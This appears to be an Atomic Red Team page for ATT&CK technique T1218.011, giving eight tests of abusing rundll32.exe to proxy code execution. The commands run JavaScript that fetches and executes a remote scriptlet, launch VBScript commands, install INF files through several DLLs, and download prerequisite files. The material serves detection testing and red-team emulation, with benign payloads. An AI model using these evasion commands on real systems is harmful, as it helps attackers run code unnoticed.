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T1218.011 - Rundll32

Description from ATT&CK

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Atomic Tests


Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject

Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
file_url location of the payload Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct

Attack Commands: Run with command_prompt!

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();


Atomic Test #2 - Rundll32 execute VBscript command

Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
command_to_execute Command for rundll32.exe to execute string calc.exe

Attack Commands: Run with command_prompt!

rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)


Atomic Test #3 - Rundll32 advpack.dll Execution

Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
inf_to_execute Local location of inf file string PathToAtomicsFolder\T1218.011\src\T1218.011.inf

Attack Commands: Run with command_prompt!

rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,

Dependencies: Run with powershell!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})
Check Prereq Commands:
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"


Atomic Test #4 - Rundll32 ieadvpack.dll Execution

Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
inf_to_execute Local location of inf file string PathToAtomicsFolder\T1218.011\src\T1218.011.inf

Attack Commands: Run with command_prompt!

rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,

Dependencies: Run with powershell!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})
Check Prereq Commands:
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"


Atomic Test #5 - Rundll32 syssetup.dll Execution

Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
inf_to_execute Local location of inf file string PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf

Attack Commands: Run with command_prompt!

rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\#{inf_to_execute}

Dependencies: Run with powershell!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})
Check Prereq Commands:
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"


Atomic Test #6 - Rundll32 setupapi.dll Execution

Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
inf_to_execute Local location of inf file string PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf

Attack Commands: Run with command_prompt!

rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\#{inf_to_execute}

Dependencies: Run with powershell!

Description: Inf file must exist on disk at specified location (#{inf_to_execute})
Check Prereq Commands:
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"


Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll

IcedID uses this TTP as follows: rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta Trickbot uses this TTP as follows: rundll32.exe URL.dll,FileProtocolHandler C:\..\Detail\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs


Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll

Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
exe_to_launch Path of the executable to launch path %windir%\System32\notepad.exe

Attack Commands: Run with command_prompt!

rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}